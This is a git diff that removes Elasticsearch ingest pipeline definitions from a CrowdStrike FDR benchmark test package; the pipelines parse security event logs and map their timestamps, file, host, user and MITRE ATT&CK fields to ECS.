-  - append:
-      tag: append_error_message_e0c9bd63
-      field: error.message
-      value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml
deleted file mode 100644
index f52301bec7..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml
+++ /dev/null
@@ -1,360 +0,0 @@
----
-description: Pipeline for processing Data Protection Detection Summary events.
-processors:
-
-  # event categorization fields
-  - set:
-      tag: set_event_kind_to_alert_39295792
-      field: event.kind
-      value: alert
-  - append:
-      tag: append_malware_category_425d1f27
-      field: event.category
-      value: malware
-  - append:
-      tag: append_info_type_8a66ccaa
-      field: event.type
-      value: info
-
-  # converts
-  - convert:
-      tag: convert_crowdstrike_DataVolume_to_long_942b72ee
-      field: crowdstrike.DataVolume
-      type: long
-      ignore_missing: true
-      on_failure:
-        - append:
-            tag: append_error_message_e18f0b9e
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_ContentPatterns_ConfidenceLevel_to_long_45401f80
-      field: crowdstrike.ContentPatterns.ConfidenceLevel
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_ContentPatterns_ConfidenceLevel_51bb48e5
-            field:
-              - crowdstrike.ContentPatterns.ConfidenceLevel
-        - append:
-            tag: append_error_message_469733f0
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_ContentPatterns_MatchCount_to_long_1860a094
-      field: crowdstrike.ContentPatterns.MatchCount
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_ContentPatterns_MatchCount_e5886467
-            field:
-              - crowdstrike.ContentPatterns.MatchCount
-        - append:
-            tag: append_error_message_c13d0524
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_FilesEgressedCount_to_long_0a2680d8
-      field: crowdstrike.FilesEgressedCount
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_FilesEgressedCount_0df285cb
-            field:
-              - crowdstrike.FilesEgressedCount
-        - append:
-            tag: append_error_message_bc729538
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_UserNotified_to_boolean_fff533bd
-      field: crowdstrike.UserNotified
-      type: boolean
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_UserNotified_4d8a9089
-            field:
-              - crowdstrike.UserNotified
-        - append:
-            tag: append_error_message_f94b1b53
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_UserMapped_to_boolean_bccf576a
-      field: crowdstrike.UserMapped
-      type: boolean
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_UserMapped_2143e1d5
-            field:
-              - crowdstrike.UserMapped
-        - append:
-            tag: append_error_message_da37c64a
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_IsClipboard_to_boolean_5ba67e86
-      field: crowdstrike.IsClipboard
-      type: boolean
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_IsClipboard_5d478e5b
-            field:
-              - crowdstrike.IsClipboard
-        - append:
-            tag: append_error_message_0e71edc6
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-
-  # timestamps
-  - date:
-      tag: date_crowdstrike_EventTimestamp_into_crowdstrike_EventTimestamp_d5f05563
-      if: ctx.crowdstrike?.EventTimestamp != null
-      field: crowdstrike.EventTimestamp
-      target_field: crowdstrike.EventTimestamp
-      formats:
-        - UNIX
-      timezone: UTC
-      on_failure:
-        - append:
-            tag: append_error_message_9bb40391
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  # Anomaly-based detections contains SessionStartTimestamp and SessionEndTimestamp fields
-  - date:
-      tag: date_crowdstrike_SessionStartTimestamp_into_event_start_f37db09c
-      if: ctx.crowdstrike?.SessionStartTimestamp != null
-      field: crowdstrike.SessionStartTimestamp
-      target_field: event.start
-      formats:
-        - UNIX
-      timezone: UTC
-      on_failure:
-        - append:
-            tag: append_error_message_dabedfbc
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      tag: date_crowdstrike_SessionEndTimestamp_into_event_end_98eb023b
-      if: ctx.crowdstrike?.SessionEndTimestamp != null
-      field: crowdstrike.SessionEndTimestamp
-      target_field: event.end
-      formats:
-        - UNIX
-      timezone: UTC
-      on_failure:
-        - append:
-            tag: append_error_message_525bb579
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - script:
-      description: Determine event.duration from event start and end date.
-      tag: script_to_set_event_duration_90e6c5bc
-      if: ctx.event?.start != null && ctx.event.end != null
-      source: |-
-        Instant event_start = ZonedDateTime.parse(ctx.event.start).toInstant();
-        Instant event_end = ZonedDateTime.parse(ctx.event.end).toInstant();
-        ctx.event['duration'] = ChronoUnit.NANOS.between(event_start, event_end);
-      on_failure:
-        - append:
-            tag: append_error_message_96ed185c
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-
-  # ECS mappings
-  - set:
-      tag: set_threat_framework_f92aa71d
-      field: threat.framework
-      value: MITRE ATT&CK
-  - set:
-      tag: set_event_outcome_success_99af7416
-      if: ctx.crowdstrike?.ResponseAction == 'allowed'
-      field: event.outcome
-      value: success
-  - set:
-      tag: set_event_outcome_failure_f46199b1
-      if: ctx.crowdstrike?.ResponseAction == 'blocked'
-      field: event.outcome
-      value: failure
-  - set:
-      tag: set_event_outcome_unknown_2820f2e9
-      field: event.outcome
-      value: unknown
-      override: false
-  - set:
-      tag: set_message_from_crowdstrike_Description_705948c3
-      field: message
-      copy_from: crowdstrike.Description
-      ignore_empty_value: true
-  - set:
-      tag: set_event_action_from_crowdstrike_Name_bed0a20b
-      field: event.action
-      copy_from: crowdstrike.Name
-      ignore_empty_value: true
-  - set:
-      tag: set_event_reference_from_crowdstrike_FalconHostLink_6d3f2710
-      field: event.reference
-      copy_from: crowdstrike.FalconHostLink
-      ignore_empty_value: true
-  - set:
-      tag: set_file_hash_sha256_from_crowdstrike_ContentSha_d4ead6d6
-      field: file.hash.sha256
-      copy_from: crowdstrike.ContentSha
-      ignore_empty_value: true
-  - set:
-      tag: set_file_name_from_crowdstrike_Filename_119db8a6
-      field: file.name
-      copy_from: crowdstrike.Filename
-      ignore_empty_value: true
-  - set:
-      tag: set_file_size_from_crowdstrike_DataVolume_0c0ee92d
-      field: file.size
-      copy_from: crowdstrike.DataVolume
-      ignore_empty_value: true
-  - set:
-      tag: set_host_name_from_crowdstrike_Hostname_eae1ab7e
-      field: host.name
-      copy_from: crowdstrike.Hostname
-      ignore_empty_value: true
-  - set:
-      tag: set_rule_id_from_crowdstrike_Policy_ID_e4a06110
-      field: rule.id
-      copy_from: crowdstrike.Policy.ID
-      ignore_empty_value: true
-  - set:
-      tag: set_rule_name_from_crowdstrike_Policy_Name_db8e5eec
-      field: rule.name
-      copy_from: crowdstrike.Policy.Name
-      ignore_empty_value: true
-  - set:
-      tag: set_user_id_from_crowdstrike_UserSid_ff207491
-      field: user.id
-      copy_from: crowdstrike.UserSid
-      ignore_empty_value: true
-  - set:
-      tag: set_user_name_from_crowdstrike_UserName_0d5ff858
-      field: user.name
-      copy_from: crowdstrike.UserName
-      ignore_empty_value: true
-  - append:
-      tag: append_file_hash_sha256_to_related_hash_7574f0ee
-      if: ctx.file?.hash?.sha256 != null
-      field: related.hash
-      value: '{{{file.hash.sha256}}}'
-  - script:
-      tag: extract_file_extension_from_filename_adc57e41
-      if: ctx.crowdstrike?.Filename != null
-      source: |-
-        def idx = ctx.crowdstrike.Filename.lastIndexOf('.');
-        if (idx != -1) {
-          ctx.file = ctx.file ?: [:];
-          ctx.file.extension = ctx.crowdstrike.Filename.substring(idx + 1).toLowerCase();
-        }
-      on_failure:
-        - append:
-            tag: append_error_message_1a00ddc7
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - lowercase:
-      tag: lowercase_crowdstrike_Platform_into_host_os_platform_0de817b0
-      field: crowdstrike.Platform
-      target_field: host.os.platform
-      ignore_missing: true
-  - foreach:
-      tag: foreach_of_crowdstrike_MitreAttack_for_Tactic_268c02de
-      if: ctx.crowdstrike?.MitreAttack instanceof List
-      field: crowdstrike.MitreAttack
-      processor:
-        append:
-          tag: append_crowdstrike_MitreAttack_threat_tactic_name_into_Tactic_b021c3ec
-          field: threat.tactic.name
-          value: '{{{_ingest._value.Tactic}}}'
-          allow_duplicates: false
-  - foreach:
-      tag: foreach_of_crowdstrike_MitreAttack_for_TacticID_268c02de
-      if: ctx.crowdstrike?.MitreAttack instanceof List
-      field: crowdstrike.MitreAttack
-      processor:
-        append:
-          tag: append_crowdstrike_MitreAttack_threat_tactic_id_into_TacticID_4d499747
-          field: threat.tactic.id
-          value: '{{{_ingest._value.TacticID}}}'
-          allow_duplicates: false
-  - foreach:
-      tag: foreach_of_crowdstrike_MitreAttack_for_Technique_268c02de
-      if: ctx.crowdstrike?.MitreAttack instanceof List
-      field: crowdstrike.MitreAttack
-      processor:
-        append:
-          tag: append_crowdstrike_MitreAttack_threat_technique_name_into_Technique_af6387ac
-          field: threat.technique.name
-          value: '{{{_ingest._value.Technique}}}'
-          allow_duplicates: false
-  - foreach:
-      tag: foreach_of_crowdstrike_MitreAttack_for_TechniqueID_268c02de
-      if: ctx.crowdstrike?.MitreAttack instanceof List
-      field: crowdstrike.MitreAttack
-      processor:
-        append:
-          tag: append_crowdstrike_MitreAttack_threat_technique_id_into_TechniqueID_70f7c093
-          field: threat.technique.id
-          value: '{{{_ingest._value.TechniqueID}}}'
-          allow_duplicates: false
-
-  # clean up
-  - remove:
-      tag: remove_custom_duplicate_fields_decaf9d0
-      field:
-        - crowdstrike.ContentSha
-        - crowdstrike.DataVolume
-        - crowdstrike.Description
-        - crowdstrike.EgressEventId
-        - crowdstrike.FalconHostLink
-        - crowdstrike.Filename
-        - crowdstrike.Hostname
-        - crowdstrike.MitreAttack
-        - crowdstrike.Name
-        - crowdstrike.Platform
-        - crowdstrike.Policy
-        - crowdstrike.SessionStartTimestamp
-        - crowdstrike.SessionEndTimestamp
-        - crowdstrike.Tactic
-        - crowdstrike.TacticId
-        - crowdstrike.Technique
-        - crowdstrike.TechniqueId
-        - crowdstrike.UserSid
-        - crowdstrike.UserName
-      ignore_missing: true
-
-  # error handling
-  - set:
-      tag: set_pipeline_error_into_event_kind_92954dfa
-      if: ctx.error?.message != null
-      field: event.kind
-      value: pipeline_error
-  - append:
-      tag: append_preserve_original_event_into_tags_9fe66b2c
-      if: ctx.error?.message != null
-      field: tags
-      value: preserve_original_event
-      allow_duplicates: false
-on_failure:
-  - append:
-      tag: append_error_message_d1950926
-      field: error.message
-      value: Processor '{{{ _ingest.on_failure_processor_type }}}' {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}'
-  - set:
-      tag: set_pipeline_error_into_event_kind_f51b77ad
-      field: event.kind
-      value: pipeline_error
-  - append:
-      tag: append_preserve_original_event_into_tags_d762b9c5
-      field: tags
-      value: preserve_original_event
-      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml
deleted file mode 100644
index ca19104e54..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml
+++ /dev/null
@@ -1,2857 +0,0 @@
----
-description: Pipeline for processing CrowdStrike sample logs
-processors:
-  # Message decoding.
-  - remove:
-      tag: remove_static_constant_keyword_fields_ad941c6d
-      field:
-        - ecs.version
-        - event.dataset
-        - event.module
-        - observer.type
-        - observer.vendor
-      ignore_missing: true
-  - remove:
-      description: Removes the fields added by Agentless as metadata, as they can collide with ECS fields.
-      tag: remove_agentless_metadata_44eed408
-      if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String
-      field:
-        - organization
-        - division
-        - team
-      ignore_missing: true
-  - rename:
-      description: Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document.
-      tag: rename_message_to_event_original_c74b1d7e
-      if: ctx.event?.original == null
-      field: message
-      target_field: event.original
-      ignore_missing: true
-  - remove:
-      description: The `message` field is no longer required if the document has an `event.original` field.
-      tag: remove_message_84808ee4
-      if: ctx.event?.original != null
-      field:
-        - message
-      ignore_missing: true
-  - json:
-      tag: json_event_original_into_crowdstrike_d88a8a87
-      field: event.original
-      target_field: crowdstrike
-      on_failure:
-        - append:
-            tag: append_error_message_4ef54c75
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - remove:
-      tag: remove_metadata_host_aid_and_user_sid_a4bf7be9
-      field:
-        - metadata.host.aid
-        - metadata.user.UserSid_readable
-      ignore_missing: true
-  - rename:
-      tag: rename_metadata_to_crowdstrike_info_4a121644
-      field: metadata
-      target_field: crowdstrike.info
-      ignore_missing: true
-      on_failure:
-        - append:
-            tag: append_error_message_d5092d94
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_UTCTimestamp_to_long_into__temp_utc_timestamp_a18a1c5b
-      field: crowdstrike.UTCTimestamp
-      type: long
-      target_field: _temp.utc_timestamp
-      ignore_missing: true
-      ignore_failure: true
-  - date:
-      tag: date__temp_utc_timestamp_into_event_created_051b20f6
-      if: ctx.event?.created == null && ctx._temp?.utc_timestamp instanceof long && ctx._temp.utc_timestamp < (long)1e10
-      field: _temp.utc_timestamp
-      target_field: event.created
-      formats:
-        - UNIX
-      ignore_failure: true
-  - date:
-      tag: date_crowdstrike_UTCTimestamp_into_event_created_7df015fc
-      if: ctx.event?.created == null && ctx.crowdstrike?.UTCTimestamp != null && ctx.crowdstrike.UTCTimestamp != '' && ctx.crowdstrike.UTCTimestamp != 'none'
-      field: crowdstrike.UTCTimestamp
-      target_field: event.created
-      formats:
-        - UNIX_MS
-        - ISO8601
-      ignore_failure: true
-  - date:
-      tag: date_crowdstrike_timestamp_into_event_created_b2c980e4
-      if: ctx.event?.created == null && ctx.crowdstrike?.timestamp != null && ctx.crowdstrike.timestamp != '' && ctx.crowdstrike.timestamp != 'none'
-      field: crowdstrike.timestamp
-      target_field: event.created
-      formats:
-        - UNIX_MS
-        - ISO8601
-      ignore_failure: true
-  - date:
-      tag: date_crowdstrike_CreationTimeStamp_into_event_created_bd5c0651
-      if: ctx.event?.created == null && ctx.crowdstrike?.CreationTimeStamp != null && ctx.crowdstrike.CreationTimeStamp != '' && ctx.crowdstrike.CreationTimeStamp != 'none'
-      field: crowdstrike.CreationTimeStamp
-      target_field: event.created
-      formats:
-        - UNIX
-        - ISO8601
-      ignore_failure: true
-  - date:
-      tag: date_crowdstrike_Time_into_event_created_7e1af297
-      if: ctx.event?.created == null && ctx.crowdstrike?.Time != null && ctx.crowdstrike.Time != '' && ctx.crowdstrike.Time != 'none'
-      field: crowdstrike.Time
-      target_field: event.created
-      formats:
-        - ISO8601
-        - UNIX
-      ignore_failure: true
-  - date:
-      tag: date_crowdstrike__time_into_event_created_e003a0c5
-      if: ctx.event?.created == null && ctx.crowdstrike?._time != null && ctx.crowdstrike._time != '' && ctx.crowdstrike._time != 'none'
-      field: crowdstrike._time
-      target_field: event.created
-      formats:
-        - ISO8601
-        - UNIX
-      ignore_failure: true
-  - set:
-      tag: set_@timestamp_40ae7ab1
-      if: ctx.event?.created != null
-      field: '@timestamp'
-      copy_from: event.created
-  - set:
-      tag: set_@timestamp_6b114c93
-      if: ctx["@timestamp"] == null
-      field: '@timestamp'
-      copy_from: _ingest.timestamp
-  - script:
-      description: Conditionally convert BatchTimestamp from Windows NT timestamp format to UNIX
-      tag: script_date_BatchTimestamp_from_nt_3442e38e
-      source: |-
-        if (ctx.crowdstrike?.BatchTimestamp == null) {
-          return;
-        }
-        long timestamp;
-        if (ctx.crowdstrike.BatchTimestamp instanceof long) {
-          timestamp = (long)ctx.crowdstrike.BatchTimestamp;
-        } else if (ctx.crowdstrike.BatchTimestamp instanceof String) {
-          if (!ctx.crowdstrike.BatchTimestamp.contains('.')) {
-            timestamp = Long.parseLong(ctx.crowdstrike.BatchTimestamp);
-          }
-        }
-        if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant.
-          ctx.crowdstrike.BatchTimestamp = (timestamp / 10000000) - 11644473600L;
-        }
-  - date:
-      tag: date_crowdstrike_BatchTimestamp_into_crowdstrike_BatchTimestamp_9ff569ce
-      if: ctx.crowdstrike?.BatchTimestamp != null && ctx.crowdstrike.BatchTimestamp != '' && ctx.crowdstrike.BatchTimestamp != 'none'
-      field: crowdstrike.BatchTimestamp
-      target_field: crowdstrike.BatchTimestamp
-      formats:
-        - UNIX
-  - script:
-      description: Conditionally convert BrowserExtensionInstalledTimestamp from Windows NT timestamp format to UNIX
-      tag: script_date_BrowserExtensionInstalledTimestamp_from_nt_486c5b00
-      source: |-
-        if (ctx.crowdstrike?.BrowserExtensionInstalledTimestamp == null) {
-          return;
-        }
-        long timestamp;
-        if (ctx.crowdstrike.BrowserExtensionInstalledTimestamp instanceof long) {
-          timestamp = (long)ctx.crowdstrike.BrowserExtensionInstalledTimestamp;
-        } else if (ctx.crowdstrike.BrowserExtensionInstalledTimestamp instanceof String) {
-          if (!ctx.crowdstrike.BrowserExtensionInstalledTimestamp.contains('.')) {
-            timestamp = Long.parseLong(ctx.crowdstrike.BrowserExtensionInstalledTimestamp);
-          }
-        }
-        if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant.
-          ctx.crowdstrike.BrowserExtensionInstalledTimestamp = (timestamp / 10000000) - 11644473600L;
-        }
-  - date:
-      tag: date_crowdstrike_BrowserExtensionInstalledTimestamp_into_crowdstrike_BrowserExtensionInstalledTimestamp_5afea043
-      if: ctx.crowdstrike?.BrowserExtensionInstalledTimestamp != null && ctx.crowdstrike.BrowserExtensionInstalledTimestamp != '' && ctx.crowdstrike.BrowserExtensionInstalledTimestamp != 'none'
-      field: crowdstrike.BrowserExtensionInstalledTimestamp
-      target_field: crowdstrike.BrowserExtensionInstalledTimestamp
-      formats:
-        - UNIX
-  - script:
-      description: Conditionally convert ContextTimeStamp from Windows NT timestamp format to UNIX
-      tag: script_date_ContextTimeStamp_from_nt_37e17ed8
-      if: ctx.crowdstrike?.ContextTimeStamp != null && ctx.crowdstrike?.ContextTimeStamp != ""
-      source: |-
-        if (ctx.crowdstrike?.ContextTimeStamp == null) {
-          return;
-        }
-        long timestamp;
-        if (ctx.crowdstrike.ContextTimeStamp instanceof long) {
-          timestamp = (long)ctx.crowdstrike.ContextTimeStamp;
-        } else if (ctx.crowdstrike.ContextTimeStamp instanceof String) {
-          if (!ctx.crowdstrike.ContextTimeStamp.contains('.')) {
-            timestamp = Long.parseLong(ctx.crowdstrike.ContextTimeStamp);
-          }
-        }
-        if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant.
-          ctx.crowdstrike.ContextTimeStamp = (timestamp / 10000000) - 11644473600L;
-        }
-  - date:
-      tag: date_crowdstrike_ContextTimeStamp_into_crowdstrike_ContextTimeStamp_0af2b375
-      if: ctx.crowdstrike?.ContextTimeStamp != null && ctx.crowdstrike.ContextTimeStamp != '' && ctx.crowdstrike.ContextTimeStamp != 'none'
-      field: crowdstrike.ContextTimeStamp
-      target_field: crowdstrike.ContextTimeStamp
-      formats:
-        - UNIX
-  - script:
-      description: Conditionally convert StartTime from Windows NT timestamp format to UNIX
-      tag: script_date_StartTime_from_nt_a5058c7c
-      source: |-
-        if (ctx.crowdstrike?.StartTime == null) {
-          return;
-        }
-        long timestamp;
-        if (ctx.crowdstrike.StartTime instanceof long) {
-          timestamp = (long)ctx.crowdstrike.StartTime;
-        } else if (ctx.crowdstrike.StartTime instanceof String) {
-          if (!ctx.crowdstrike.StartTime.contains('.')) {
-            timestamp = Long.parseLong(ctx.crowdstrike.StartTime);
-          }
-        }
-        if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant.
-          ctx.crowdstrike.StartTime = (timestamp / 10000000) - 11644473600L;
-        }
-  - date:
-      tag: date_crowdstrike_StartTime_into_crowdstrike_StartTime_9501a78d
-      if: ctx.crowdstrike?.StartTime != null && ctx.crowdstrike.StartTime != '' && ctx.crowdstrike.StartTime != 'none'
-      field: crowdstrike.StartTime
-      target_field: crowdstrike.StartTime
-      formats:
-        - UNIX
-  - script:
-      description: Conditionally convert EndTime from Windows NT timestamp format to UNIX
-      tag: script_date_EndTime_from_nt_8fceb4ba
-      source: |-
-        if (ctx.crowdstrike?.EndTime == null) {
-          return;
-        }
-        long timestamp;
-        if (ctx.crowdstrike.EndTime instanceof long) {
-          timestamp = (long)ctx.crowdstrike.EndTime;
-        } else if (ctx.crowdstrike.EndTime instanceof String) {
-          if (!ctx.crowdstrike.EndTime.contains('.')) {
-            timestamp = Long.parseLong(ctx.crowdstrike.EndTime);
-          }
-        }
-        if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant.
-          ctx.crowdstrike.EndTime = (timestamp / 10000000) - 11644473600L;
-        }
-  - date:
-      tag: date_crowdstrike_EndTime_into_crowdstrike_EndTime_403904fe
-      if: ctx.crowdstrike?.EndTime != null && ctx.crowdstrike.EndTime != '' && ctx.crowdstrike.EndTime != 'none'
-      field: crowdstrike.EndTime
-      target_field: crowdstrike.EndTime
-      formats:
-        - UNIX
-  - date:
-      tag: date_crowdstrike_scores_modified_time_into_crowdstrike_scores_modified_time_1bb3843a
-      if: ctx.crowdstrike?.scores?.modified_time != null && ctx.crowdstrike.scores.modified_time != '' && ctx.crowdstrike.scores.modified_time != 'none'
-      field: crowdstrike.scores.modified_time
-      target_field: crowdstrike.scores.modified_time
-      formats:
-        - ISO8601
-        - yyyy-MM-dd'T'HH:mm:ss.SSS'Z'
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_scores_modified_time_b26c8439
-            field:
-              - crowdstrike.scores.modified_time
-        - append:
-            tag: append_error_message_f822bf1a
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      tag: date_crowdstrike_ChangeTime_into_crowdstrike_ChangeTime_e3e3ffa4
-      if: ctx.crowdstrike?.ChangeTime != null && ctx.crowdstrike.ChangeTime != ''
-      field: crowdstrike.ChangeTime
-      target_field: crowdstrike.ChangeTime
-      formats:
-        - UNIX
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_ChangeTime_0874f7f6
-            field:
-              - crowdstrike.ChangeTime
-        - append:
-            tag: append_error_message_e3a24574
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - rename:
-      tag: rename_crowdstrike_message_to_message_8aaa4841
-      field: crowdstrike.message
-      target_field: message
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_event_type_to_crowdstrike_EventType_0f2370ba
-      if: ctx.crowdstrike?.EventType == null
-      field: crowdstrike.event_type
-      target_field: crowdstrike.EventType
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_host_hidden_status_to_crowdstrike_HostHiddenStatus_7d1ffcb7
-      if: ctx.crowdstrike?.HostHiddenStatus == null
-      field: crowdstrike.host_hidden_status
-      target_field: crowdstrike.HostHiddenStatus
-      ignore_missing: true
-  - convert:
-      tag: convert_crowdstrike_scores_os_to_long_680c0a21
-      field: crowdstrike.scores.os
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_scores_os_73ce1ec6
-            field:
-              - crowdstrike.scores.os
-            ignore_missing: true
-        - append:
-            tag: append_error_message_6d576da7
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_scores_overall_to_long_5858a4c8
-      field: crowdstrike.scores.overall
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_scores_overall_a59f0dd4
-            field:
-              - crowdstrike.scores.overall
-            ignore_missing: true
-        - append:
-            tag: append_error_message_b2d1d828
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_scores_sensor_to_long_907f0ea9
-      field: crowdstrike.scores.sensor
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_scores_sensor_ef9c1c3a
-            field:
-              - crowdstrike.scores.sensor
-            ignore_missing: true
-        - append:
-            tag: append_error_message_68deb51f
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-
-  # Non-sensor Events
-  - pipeline:
-      tag: pipeline_data_protection_detection_summary_cd21f5a1
-      if: ctx.crowdstrike?.ExternalApiType == 'Event_DataProtectionDetectionSummaryEvent'
-      name: '{{ IngestPipeline "data_protection_detection_summary" }}'
-  - pipeline:
-      tag: pipeline_epp_detection_summary_b611643c
-      if: ctx.crowdstrike?.ExternalApiType == 'Event_EppDetectionSummaryEvent'
-      name: '{{ IngestPipeline "epp_detection_summary" }}'
-  # File Integrity Monitor Rule Matched events
-  - pipeline:
-      tag: pipeline_fim_rule_matched_33f5a923
-      if: ctx.crowdstrike?.ExternalApiType == 'Event_FileIntegrityMonitorRuleMatchedEnriched' || ctx.crowdstrike?.event_simpleName == 'FileIntegrityMonitorRuleMatched'
-      name: '{{ IngestPipeline "fim_rule_matched" }}'
-
-  # Handle case changes.
-  - rename:
-      tag: rename_crowdstrike_GrandParentCommandLine_to_crowdstrike_GrandparentCommandLine_1958890d
-      field: crowdstrike.GrandParentCommandLine
-      target_field: crowdstrike.GrandparentCommandLine
-      ignore_missing: true
-      ignore_failure: true
-  - rename:
-      tag: rename_crowdstrike_GrandParentImageFileName_to_crowdstrike_GrandparentImageFileName_51e07871
-      field: crowdstrike.GrandParentImageFileName
-      target_field: crowdstrike.GrandparentImageFileName
-      ignore_missing: true
